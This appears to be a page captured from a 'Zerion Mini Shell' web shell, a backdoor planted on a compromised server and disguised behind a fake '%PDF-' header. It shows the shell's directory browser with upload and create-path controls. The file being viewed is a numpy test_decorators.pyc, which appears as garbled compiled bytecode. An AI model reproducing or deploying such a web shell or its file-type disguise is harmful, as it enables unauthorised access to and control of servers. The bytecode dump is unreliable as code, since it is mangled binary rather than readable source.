%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyc

�
�9Zc@`s�ddlmZmZmZddlmZmZmZmZm	Z	m
Z
ddlZd�Zd�Z
defd��YZd�Zd	�Zd
�Zd�Zd�Zed
kr�e�ndS(i(tdivisiontabsolute_importtprint_function(tdectassert_t
assert_raisestrun_module_suitetSkipTesttKnownFailureExceptionNcC`s#tjd��}t|j�dS(NcS`sdS(N((txtytz((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyt	slow_funcs(RtslowR(R((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyt	test_slowscC`sqtj�d��}tjt�d��}tjt�d��}t|j�t|j�t|j�dS(NcS`sdS(N((ta((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyt	f_defaultscS`sdS(N((R((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytf_istestscS`sdS(N((R((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytf_isnottests(Rt	setastesttTruetFalseRt__test__(RRR((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyttest_setastests

tDidntSkipExceptioncB`seZRS((t__name__t
__module__(((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyRscC`s�tjt�d��}y|d�Wn-tk
rEtd��ntk
rUnXtjt�d��}y|d�Wn-tk
r�ntk
r�td��nXdS(NcS`s
t�dS(N(R(R	((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytf1#sRsFailed to skipcS`s
t�dS(N(R(R	((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytf2.ssSkipped when not expected to(RtskipifRRt	ExceptionRR(RR((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyttest_skip_functions_hardcoded"s



c`s��fd�}tj|�d��}yd�|d�Wn-tk
rZtd��ntk
rjnXtj|�d��}yd�|d�Wn-tk
r�ntk
r�td��nXdS(	Nc`s
�dkS(Nsskip me!(((t	skip_flag(sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytskip_tester;scS`s
t�dS(N(R(R	((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyR>ssskip me!RsFailed to skipcS`s
t�dS(N(R(R	((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyRJssfive is right out!sSkipped when not expected to(RRRRR(R!RR((R sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyttest_skip_functions_callable:s"



cC`s�tjtd�d��}yx|d�D]}q+WWntk
rIn
Xtd��tjtd�d��}yx|d�D]}q�WWn-tk
r�td��ntk
r�nXdS(NsThis test is known to failcs`s xt|�D]}|Vq
WdS(N(trange(R	ti((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytg1Xsi
sFailed to mark as known failuresThis test is NOT known to failcs`s,xt|�D]}|Vq
Wtd��dS(NtFAIL(R#R(R	R$((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytg2es	s"Marked incorretly as known failure(RtknownfailureifRRRRR(R%tjR'((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyttest_skip_generators_hardcodedWs


c`s��fd�}tj|d�d��}y!d�x|d�D]}q@WWntk
r^n
Xtd��tj|d�d��}y!d	�x|d�D]}q�WWn-tk
r�td
��ntk
r�nXdS(Nc`s
�dkS(Nsskip me!(((R (sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyR!ussThis test is known to failcs`s xt|�D]}|Vq
WdS(N(R#(R	R$((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyR%xssskip me!i
sFailed to mark as known failuresThis test is NOT known to failcs`s,xt|�D]}|Vq
Wtd��dS(NR&(R#R(R	R$((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyR'�s	sdo not skips"Marked incorretly as known failure(RR(RRR(R!R%R)R'((R sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyttest_skip_generators_callablets$


cC`s�tjt�d��}tj�d��}tj�d��}tj�d��}tt|�|�tt|�tt|�dS(NcS`sdS(N((((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytnon_deprecated_func�scS`s ddl}|jdt�dS(NisTEST: deprecated func(twarningstwarntDeprecationWarning(R-((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytdeprecated_func�scS`s#ddl}|jd�t�dS(NitAHHHH(R-R.t
ValueError(R-((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytdeprecated_func2�s
cS`sddl}|jd�dS(NiR1(R-R.(R-((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pytdeprecated_func3�s(Rt
deprecatedRRtAssertionErrorR2(R,R0R3R4((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyttest_deprecated�s

t__main__(t
__future__RRRt
numpy.testingRRRRRRtnoseRRRRRR"R*R+R7R(((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/tests/test_decorators.pyt<module>s.						"	

Zerion Mini Shell 1.0